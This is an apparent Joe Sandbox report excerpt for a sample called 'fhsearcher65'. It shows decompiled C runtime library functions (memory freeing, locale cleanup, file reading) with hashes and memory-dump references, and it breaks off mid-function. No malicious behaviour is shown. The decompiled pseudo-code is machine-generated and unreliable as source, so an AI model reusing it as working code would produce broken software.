_free.LIBCMT ref: 0041977A
_free.LIBCMT ref: 00419788
_free.LIBCMT ref: 00419793
_free.LIBCMT ref: 004197D5
_free.LIBCMT ref: 004197DD
_free.LIBCMT ref: 004197E3
_free.LIBCMT ref: 004197EB
_free.LIBCMT ref: 004197F9

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 0cb2da044f46ebebb8baec7b90d5f4b966a8f2d0aa348ee5e1e5f113a4e54cdb
Instruction ID: df3480d9f64fa01f689a41e3b8bfed67669fdce109c3f11347fcee7270ecf20f
Opcode Fuzzy Hash: 0cb2da044f46ebebb8baec7b90d5f4b966a8f2d0aa348ee5e1e5f113a4e54cdb
Instruction Fuzzy Hash: 38D19C759002059FDB11CFB5C891BEEBBF5BF18304F54412AE895A7382D778AC85CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0044334A Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00443383
___free_lconv_mon.LIBCMT ref: 0044338E

Part of subcall function 00442EB5: _free.LIBCMT ref: 00442ED2
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442EE4
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442EF6
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F08
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F1A
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F2C
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F3E
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F50
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F62
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F74
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F86
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442F98
Part of subcall function 00442EB5: _free.LIBCMT ref: 00442FAA

_free.LIBCMT ref: 004433A5
_free.LIBCMT ref: 004433BA
_free.LIBCMT ref: 004433C5
_free.LIBCMT ref: 004433E7
_free.LIBCMT ref: 004433FA
_free.LIBCMT ref: 00443408
_free.LIBCMT ref: 00443413
_free.LIBCMT ref: 0044344B
_free.LIBCMT ref: 00443452
_free.LIBCMT ref: 0044346F
_free.LIBCMT ref: 00443487

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free$___free_lconv_mon
String ID:
API String ID: 3658870901-0
Opcode ID: a944ca6634b5d74932c30d559000e04cde607573212888ef64c986212d955d2d
Instruction ID: ce84940d4ec221c3e00cea4fbe0e61062730256890f47c7b2aa3b88f8ab69c0d
Opcode Fuzzy Hash: a944ca6634b5d74932c30d559000e04cde607573212888ef64c986212d955d2d
Instruction Fuzzy Hash: 28314E31600601AEFB219E3AD845B9B77E4AF01B15F14881FE455D72A1DF78EE818B1C

Uniqueness

Uniqueness Score: -1.00%

Function 00426736 Relevance: 19.6, APIs: 13, Instructions: 113
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00426736(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x43d160) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E0041E668(_t46);
							E004259E2( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E0041E668(_t47);
							E00425E96( *((intOrPtr*)(_t74 + 0x88)));
						}
						E0041E668( *((intOrPtr*)(_t74 + 0x7c)));
						E0041E668( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E0041E668( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E0041E668( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E0041E668( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E0041E668( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E004268A7( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x43d290) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E0041E668(_t31);
							E0041E668( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E0041E668(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E0041E668(_t74);
			}

0x0042673e
0x00426742
0x0042674a
0x00426753
0x00426758
0x0042675f
0x00426767
0x0042676f
0x0042677a
0x00426780
0x00426781
0x00426789
0x00426791
0x0042679c
0x004267a2
0x004267a6
0x004267b1
0x004267b7
0x00426758
0x004267b8
0x004267c0
0x004267d3
0x004267e6
0x004267f4
0x004267ff
0x00426804
0x0042680d
0x00426815
0x00426816
0x0042681c
0x0042681f
0x00426822
0x00426829
0x0042682b
0x0042682f
0x00426837
0x0042683e
0x00426844
0x00426845
0x00426845
0x0042684c
0x0042684e
0x00426853
0x0042685b
0x00426860
0x00426861
0x00426861
0x00426864
0x00426867
0x0042686a
0x0042686d
0x0042686d
0x0042687d

APIs

___free_lconv_mon.LIBCMT ref: 0042677A

Part of subcall function 004259E2: _free.LIBCMT ref: 004259FF
Part of subcall function 004259E2: _free.LIBCMT ref: 00425A11
Part of subcall function 004259E2: _free.LIBCMT ref: 00425A23
Part of subcall function 004259E2: _free.LIBCMT ref: 00425A35
Part of subcall function 004259E2: _free.LIBCMT ref: 00425A47
Part of subcall function 004259E2: _free.LIBCMT ref: 00425A59
Part of subcall function 004259E2: _free.LIBCMT ref: 00425A6B
Part of subcall function 004259E2: _free.LIBCMT ref: 00425A7D
Part of subcall function 004259E2: _free.LIBCMT ref: 00425A8F
Part of subcall function 004259E2: _free.LIBCMT ref: 00425AA1
Part of subcall function 004259E2: _free.LIBCMT ref: 00425AB3
Part of subcall function 004259E2: _free.LIBCMT ref: 00425AC5
Part of subcall function 004259E2: _free.LIBCMT ref: 00425AD7

_free.LIBCMT ref: 0042676F

Part of subcall function 0041E668: HeapFree.KERNEL32(00000000,00000000,?,00426137,?,00000000,?,?,?,004263DA,?,00000007,?,?,004268CD,?), ref: 0041E67E
Part of subcall function 0041E668: GetLastError.KERNEL32(?,?,00426137,?,00000000,?,?,?,004263DA,?,00000007,?,?,004268CD,?,?), ref: 0041E690

_free.LIBCMT ref: 00426791
_free.LIBCMT ref: 004267A6
_free.LIBCMT ref: 004267B1
_free.LIBCMT ref: 004267D3
_free.LIBCMT ref: 004267E6
_free.LIBCMT ref: 004267F4
_free.LIBCMT ref: 004267FF
_free.LIBCMT ref: 00426837
_free.LIBCMT ref: 0042683E
_free.LIBCMT ref: 0042685B
_free.LIBCMT ref: 00426873

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 88f30a99e55331c7f508eb551a6b5f58649f1248a518a039e11fef256e7b3f57
Instruction ID: bf7fc0cd31280383ab31025b554e8536db41ff5e118b155514f7bf95442ee0e8
Opcode Fuzzy Hash: 88f30a99e55331c7f508eb551a6b5f58649f1248a518a039e11fef256e7b3f57
Instruction Fuzzy Hash: CD314DB5601315DFEB21AA3AE845B9BB3E8AF54314FD1482BE455D7251DF38EC80C718

Uniqueness

Uniqueness Score: -1.00%

Function 1000AEB3 Relevance: 19.6, APIs: 13, Instructions: 113
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1000AEB3(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x100176f8) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E10008701(_t46);
							E1000B99D( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E10008701(_t47);
							E1000BA9B( *((intOrPtr*)(_t74 + 0x88)));
						}
						E10008701( *((intOrPtr*)(_t74 + 0x7c)));
						E10008701( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E10008701( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E10008701( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E10008701( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E10008701( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E1000B024( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x100171c8) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E10008701(_t31);
							E10008701( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E10008701(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E10008701(_t74);
			}

0x1000aebb
0x1000aebf
0x1000aec7
0x1000aed0
0x1000aed5
0x1000aedc
0x1000aee4
0x1000aeec
0x1000aef7
0x1000aefd
0x1000aefe
0x1000af06
0x1000af0e
0x1000af19
0x1000af1f
0x1000af23
0x1000af2e
0x1000af34
0x1000aed5
0x1000af35
0x1000af3d
0x1000af50
0x1000af63
0x1000af71
0x1000af7c
0x1000af81
0x1000af8a
0x1000af92
0x1000af93
0x1000af99
0x1000af9c
0x1000af9f
0x1000afa6
0x1000afa8
0x1000afac
0x1000afb4
0x1000afbb
0x1000afc1
0x1000afc2
0x1000afc2
0x1000afc9
0x1000afcb
0x1000afd0
0x1000afd8
0x1000afdd
0x1000afde
0x1000afde
0x1000afe1
0x1000afe4
0x1000afe7
0x1000afea
0x1000afea
0x1000affa

APIs

___free_lconv_mon.LIBCMT ref: 1000AEF7

Part of subcall function 1000B99D: _free.LIBCMT ref: 1000B9BA
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000B9CC
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000B9DE
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000B9F0
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA02
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA14
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA26
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA38
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA4A
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA5C
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA6E
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA80
Part of subcall function 1000B99D: _free.LIBCMT ref: 1000BA92

_free.LIBCMT ref: 1000AEEC

Part of subcall function 10008701: RtlFreeHeap.NTDLL(00000000,00000000,?,100074AC), ref: 10008717
Part of subcall function 10008701: GetLastError.KERNEL32(?,?,100074AC), ref: 10008729

_free.LIBCMT ref: 1000AF0E
_free.LIBCMT ref: 1000AF23
_free.LIBCMT ref: 1000AF2E
_free.LIBCMT ref: 1000AF50
_free.LIBCMT ref: 1000AF63
_free.LIBCMT ref: 1000AF71
_free.LIBCMT ref: 1000AF7C
_free.LIBCMT ref: 1000AFB4
_free.LIBCMT ref: 1000AFBB
_free.LIBCMT ref: 1000AFD8
_free.LIBCMT ref: 1000AFF0

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: c4e98949ab35aafe9e56d21f341b4b46aaaa1c26fbfc12bf4678de360067af1f
Instruction ID: 98d3de5cb3a98999ebd56d36befb0731ec5fbc7688b04e9877a88235aa96296e
Opcode Fuzzy Hash: c4e98949ab35aafe9e56d21f341b4b46aaaa1c26fbfc12bf4678de360067af1f
Instruction Fuzzy Hash: 0A3157726046069FFB21DAB9D881B6A73E9FF013D0F614529E099D6199DE35FE808B20

Uniqueness

Uniqueness Score: -1.00%

Function 00425AE0 Relevance: 18.4, APIs: 12, Instructions: 373
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00425AE0(void* __edx, char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				intOrPtr* _v20;
				signed int _v24;
				char _v28;
				signed int _t106;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t126;
				signed int _t130;
				signed int _t134;
				signed int _t138;
				signed int _t142;
				signed int _t146;
				signed int _t150;
				signed int _t154;
				signed int _t158;
				signed int _t162;
				signed int _t166;
				signed int _t170;
				signed int _t174;
				signed int _t178;
				signed int _t182;
				signed int _t186;
				signed int _t190;
				char _t196;
				char _t209;
				signed int _t212;
				char _t221;
				char _t222;
				void* _t225;
				char* _t227;
				signed int _t228;
				signed int _t232;
				signed int _t233;
				intOrPtr _t234;
				void* _t235;
				void* _t237;
				char* _t258;

				_t225 = __edx;
				_t209 = _a4;
				_v16 = 0;
				_v28 = _t209;
				_v24 = 0;
				if( *((intOrPtr*)(_t209 + 0xac)) != 0 ||  *((intOrPtr*)(_t209 + 0xb0)) != 0) {
					_t235 = E0041E60B(1, 0x50);
					_v8 = _t235;
					E0041E668(0);
					if(_t235 != 0) {
						_t228 = E0041E60B(1, 4);
						_v12 = _t228;
						E0041E668(0);
						if(_t228 != 0) {
							if( *((intOrPtr*)(_t209 + 0xac)) == 0) {
								_t212 = 0x14;
								memcpy(_v8, 0x43d160, _t212 << 2);
								L24:
								_t237 = _v8;
								_t232 = _v16;
								 *_t237 =  *( *(_t209 + 0x88));
								 *((intOrPtr*)(_t237 + 4)) =  *((intOrPtr*)( *(_t209 + 0x88) + 4));
								 *((intOrPtr*)(_t237 + 8)) =  *((intOrPtr*)( *(_t209 + 0x88) + 8));
								 *((intOrPtr*)(_t237 + 0x30)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x30));
								 *((intOrPtr*)(_t237 + 0x34)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x34));
								 *_v12 = 1;
								if(_t232 != 0) {
									 *_t232 = 1;
								}
								goto L26;
							}
							_t233 = E0041E60B(1, 4);
							_v16 = _t233;
							E0041E668(0);
							if(_t233 != 0) {
								_t234 =  *((intOrPtr*)(_t209 + 0xac));
								_t14 = _t235 + 0xc; // 0xc
								_t116 = E00421A75(_t225);
								_t118 = E00421A75(_t225,  &_v28, 1, _t234, 0x14, _v8 + 0x10,  &_v28);
								_t122 = E00421A75(_t225,  &_v28, 1, _t234, 0x16, _v8 + 0x14, 1);
								_t126 = E00421A75(_t225,  &_v28, 1, _t234, 0x17, _v8 + 0x18, _t234);
								_v20 = _v8 + 0x1c;
								_t130 = E00421A75(_t225,  &_v28, 1, _t234, 0x18, _v8 + 0x1c, 0x15);
								_t134 = E00421A75(_t225,  &_v28, 1, _t234, 0x50, _v8 + 0x20, _t14);
								_t138 = E00421A75(_t225);
								_t142 = E00421A75(_t225,  &_v28, 0, _t234, 0x1a, _v8 + 0x28,  &_v28);
								_t146 = E00421A75(_t225,  &_v28, 0, _t234, 0x19, _v8 + 0x29, 1);
								_t150 = E00421A75(_t225,  &_v28, 0, _t234, 0x54, _v8 + 0x2a, _t234);
								_t154 = E00421A75(_t225,  &_v28, 0, _t234, 0x55, _v8 + 0x2b, 0x51);
								_t158 = E00421A75(_t225,  &_v28, 0, _t234, 0x56, _v8 + 0x2c, _v8 + 0x24);
								_t162 = E00421A75(_t225);
								_t166 = E00421A75(_t225,  &_v28, 0, _t234, 0x52, _v8 + 0x2e,  &_v28);
								_t170 = E00421A75(_t225,  &_v28, 0, _t234, 0x53, _v8 + 0x2f, 0);
								_t174 = E00421A75(_t225,  &_v28, 2, _t234, 0x15, _v8 + 0x38, _t234);
								_t178 = E00421A75(_t225,  &_v28, 2, _t234, 0x14, _v8 + 0x3c, 0x57);
								_t182 = E00421A75(_t225,  &_v28, 2, _t234, 0x16, _v8 + 0x40, _v8 + 0x2d);
								_push(_v8 + 0x44);
								_push(0x17);
								_push(_t234);
								_t186 = E00421A75(_t225);
								_t190 = E00421A75(_t225,  &_v28, 2, _t234, 0x50, _v8 + 0x48,  &_v28);
								if((E00421A75(_t225,  &_v28, 2, _t234, 0x51, _v8 + 0x4c, 2) | _t116 | _t118 | _t122 | _t126 | _t130 | _t134 | _t138 | _t142 | _t146 | _t150 | _t154 | _t158 | _t162 | _t166 | _t170 | _t174 | _t178 | _t182 | _t186 | _t190) == 0) {
									_t227 =  *_v20;
									while(1) {
										_t196 =  *_t227;
										if(_t196 == 0) {
											break;
										}
										_t61 = _t196 - 0x30; // -48
										_t221 = _t61;
										if(_t221 > 9) {
											if(_t196 != 0x3b) {
												L16:
												_t227 = _t227 + 1;
												continue;
											}
											_t258 = _t227;
											do {
												_t222 =  *((intOrPtr*)(_t258 + 1));
												 *_t258 = _t222;
												_t258 = _t258 + 1;
											} while (_t222 != 0);
											continue;
										}
										 *_t227 = _t221;
										goto L16;
									}
									goto L24;
								}
								E004259E2(_v8);
								E0041E668(_v8);
								E0041E668(_v12);
								E0041E668(_v16);
								goto L4;
							}
							E0041E668(_t235);
							E0041E668(_v12);
							L7:
							goto L4;
						}
						E0041E668(_t235);
						goto L7;
					}
					L4:
					return 1;
				} else {
					_t232 = 0;
					_v12 = 0;
					_t237 = 0x43d160;
					L26:
					_t106 =  *(_t209 + 0x84);
					if(_t106 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t209 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t106 | 0xffffffff) == 0) {
							E0041E668( *(_t209 + 0x88));
							E0041E668( *((intOrPtr*)(_t209 + 0x7c)));
						}
					}
					 *((intOrPtr*)(_t209 + 0x7c)) = _v12;
					 *(_t209 + 0x84) = _t232;
					 *(_t209 + 0x88) = _t237;
					return 0;
				}
			}

0x00425ae0
0x00425ae9
0x00425af0
0x00425af3
0x00425af6
0x00425aff
0x00425b21
0x00425b25
0x00425b28
0x00425b32
0x00425b45
0x00425b49
0x00425b4c
0x00425b56
0x00425b68
0x00425dfa
0x00425dfb
0x00425dfd
0x00425e05
0x00425e09
0x00425e0e
0x00425e19
0x00425e25
0x00425e31
0x00425e3d
0x00425e43
0x00425e47
0x00425e49
0x00425e49
0x00000000
0x00425e47
0x00425b77
0x00425b7b
0x00425b7e
0x00425b88
0x00425b9c
0x00425ba2
0x00425baf
0x00425bc6
0x00425bdd
0x00425bf4
0x00425c04
0x00425c11
0x00425c28
0x00425c3f
0x00425c56
0x00425c70
0x00425c87
0x00425c9e
0x00425cb5
0x00425ccf
0x00425ce6
0x00425cfd
0x00425d14
0x00425d2e
0x00425d45
0x00425d52
0x00425d53
0x00425d55
0x00425d5c
0x00425d73
0x00425d97
0x00425dc5
0x00425dd4
0x00425dd4
0x00425dd8
0x00000000
0x00000000
0x00425dc9
0x00425dc9
0x00425dcf
0x00425dde
0x00425dd3
0x00425dd3
0x00000000
0x00425dd3
0x00425de0
0x00425de2
0x00425de2
0x00425de5
0x00425de7
0x00425dea
0x00000000
0x00425dee
0x00425dd1
0x00000000
0x00425dd1
0x00000000
0x00425dda
0x00425d9d
0x00425da3
0x00425dac
0x00425db5
0x00000000
0x00425dba
0x00425b8b
0x00425b94
0x00425b5e
0x00000000
0x00425b5e
0x00425b59
0x00000000
0x00425b59
0x00425b34
0x00000000
0x00425b09
0x00425b09
0x00425b0b
0x00425b0e
0x00425e4b
0x00425e4b
0x00425e53
0x00425e55
0x00425e55
0x00425e5d
0x00425e62
0x00425e66
0x00425e6e
0x00425e76
0x00425e7c
0x00425e66
0x00425e80
0x00425e85
0x00425e8b
0x00000000
0x00425e8b

APIs

_free.LIBCMT ref: 00425B28
_free.LIBCMT ref: 00425B4C
_free.LIBCMT ref: 00425B59
_free.LIBCMT ref: 00425B7E
_free.LIBCMT ref: 00425B8B
_free.LIBCMT ref: 00425B94
_free.LIBCMT ref: 00425E6E
_free.LIBCMT ref: 00425E76

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: c718cadcabf99420bb8b8798a719a510a1d522af87e18bd5d9f31a8ac0e39888
Instruction ID: cc7f30df421c20ae517f440b63e312a343509b8ff70525ed2573bc7d60604ffb
Opcode Fuzzy Hash: c718cadcabf99420bb8b8798a719a510a1d522af87e18bd5d9f31a8ac0e39888
Instruction Fuzzy Hash: F7C16676E40218BFDB20DBA9DC42FDE77F89F18704F944056FA05FB282D6749A418754

Uniqueness

Uniqueness Score: -1.00%

Function 0041DB33 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E0041DB33(signed int _a4, void* _a8, unsigned int _a12) {
				char _v5;
				signed int _v12;
				long _v16;
				signed int _v20;
				void* _v24;
				void* _v28;
				long _v32;
				char _v36;
				void* _v40;
				long _v44;
				signed int* _t137;
				signed int _t139;
				intOrPtr _t143;
				unsigned int _t154;
				intOrPtr _t158;
				signed int _t160;
				signed int _t163;
				long _t164;
				intOrPtr _t169;
				signed int _t170;
				intOrPtr _t172;
				signed int _t174;
				signed int _t178;
				void _t180;
				char _t185;
				char _t190;
				signed int _t198;
				signed int _t199;
				signed int _t200;
				signed int _t207;
				long _t210;
				unsigned int _t212;
				intOrPtr _t214;
				unsigned int _t217;
				signed int _t219;
				signed int _t220;
				signed int _t221;
				signed int _t222;
				signed char _t224;
				char _t226;
				signed int _t228;
				void* _t229;
				signed int _t230;
				char* _t231;
				char* _t232;
				signed int _t235;
				signed int _t236;
				void* _t240;
				void* _t242;
				void* _t243;

				_t198 = _a4;
				_t246 = _t198 - 0xfffffffe;
				if(_t198 != 0xfffffffe) {
					__eflags = _t198;
					if(__eflags < 0) {
						L59:
						_t137 = E0041398E(__eflags);
						 *_t137 =  *_t137 & 0x00000000;
						__eflags =  *_t137;
						 *((intOrPtr*)(E004139A1( *_t137))) = 9;
						L60:
						_t139 = E004138C7();
						goto L61;
					}
					__eflags = _t198 -  *0x450ae0; // 0x40
					if(__eflags >= 0) {
						goto L59;
					}
					_t207 = _t198 >> 6;
					_t235 = (_t198 & 0x0000003f) * 0x38;
					_v12 = _t207;
					_t143 =  *((intOrPtr*)(0x4508e0 + _t207 * 4));
					_v20 = _t235;
					_v36 = 1;
					_t224 =  *((intOrPtr*)(_t143 + _t235 + 0x28));
					__eflags = 1 & _t224;
					if(__eflags == 0) {
						goto L59;
					}
					_t210 = _a12;
					__eflags = _t210 - 0x7fffffff;
					if(__eflags <= 0) {
						__eflags = _t210;
						if(_t210 == 0) {
							L58:
							return 0;
						}
						__eflags = _t224 & 0x00000002;
						if((_t224 & 0x00000002) != 0) {
							goto L58;
						}
						__eflags = _a8;
						if(__eflags == 0) {
							goto L6;
						}
						_v28 =  *((intOrPtr*)(_t143 + _t235 + 0x18));
						_t226 =  *((intOrPtr*)(_t143 + _t235 + 0x29));
						_v5 = _t226;
						_t240 = 0;
						_t228 = _t226 - 1;
						__eflags = _t228;
						if(_t228 == 0) {
							__eflags =  !_t210 & 0x00000001;
							if(__eflags == 0) {
								L14:
								 *(E0041398E(__eflags)) =  *_t149 & _t240;
								 *((intOrPtr*)(E004139A1(__eflags))) = 0x16;
								E004138C7();
								goto L39;
							} else {
								_t154 = 4;
								_t212 = _t210 >> 1;
								_v16 = _t154;
								__eflags = _t212 - _t154;
								if(_t212 >= _t154) {
									_t154 = _t212;
									_v16 = _t212;
								}
								_t240 = E0041F0DF(_t154);
								E0041E668(0);
								E0041E668(0);
								_t243 = _t242 + 0xc;
								_v24 = _t240;
								__eflags = _t240;
								if(__eflags != 0) {
									_t158 = E0041D508(_t198, 0, 0, 1);
									_t242 = _t243 + 0x10;
									_t214 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
									 *((intOrPtr*)(_t235 + _t214 + 0x20)) = _t158;
									 *(_t235 + _t214 + 0x24) = _t228;
									_t229 = _t240;
									_t210 = _v16;
									_t143 =  *((intOrPtr*)(0x4508e0 + _v12 * 4));
									L22:
									_t199 = _v20;
									_t235 = 0;
									_v40 = _t229;
									__eflags =  *(_t199 + _t143 + 0x28) & 0x00000048;
									_t200 = _a4;
									if(( *(_t199 + _t143 + 0x28) & 0x00000048) != 0) {
										_t180 =  *((intOrPtr*)(_v20 + _t143 + 0x2a));
										_t200 = _a4;
										__eflags = _t180 - 0xa;
										if(_t180 != 0xa) {
											__eflags = _t210;
											if(_t210 != 0) {
												_t235 = 1;
												 *_t229 = _t180;
												_t231 = _t229 + 1;
												_t220 = _t210 - 1;
												__eflags = _v5;
												_v24 = _t231;
												_v16 = _t220;
												 *((char*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2a)) = 0xa;
												_t200 = _a4;
												if(_v5 != 0) {
													_t185 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2b));
													_t200 = _a4;
													__eflags = _t185 - 0xa;
													if(_t185 != 0xa) {
														__eflags = _t220;
														if(_t220 != 0) {
															 *_t231 = _t185;
															_t232 = _t231 + 1;
															_t221 = _t220 - 1;
															__eflags = _v5 - 1;
															_v24 = _t232;
															_t235 = 2;
															_v16 = _t221;
															 *((char*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2b)) = 0xa;
															_t200 = _a4;
															if(_v5 == 1) {
																_t190 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2c));
																_t200 = _a4;
																__eflags = _t190 - 0xa;
																if(_t190 != 0xa) {
																	__eflags = _t221;
																	if(_t221 != 0) {
																		 *_t232 = _t190;
																		_t222 = _t221 - 1;
																		__eflags = _t222;
																		_v16 = _t222;
																		_v24 = _t232 + 1;
																		_t235 = 3;
																		 *((char*)(_v20 +  *((intOrPtr*)(0x4508e0 + _v12 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t160 = E00428287(_t200);
									__eflags = _t160;
									if(_t160 == 0) {
										L42:
										_v36 = 0;
										L43:
										_t163 = ReadFile(_v28, _v24, _v16,  &_v32, 0);
										__eflags = _t163;
										if(_t163 == 0) {
											L54:
											_t164 = GetLastError();
											_t235 = 5;
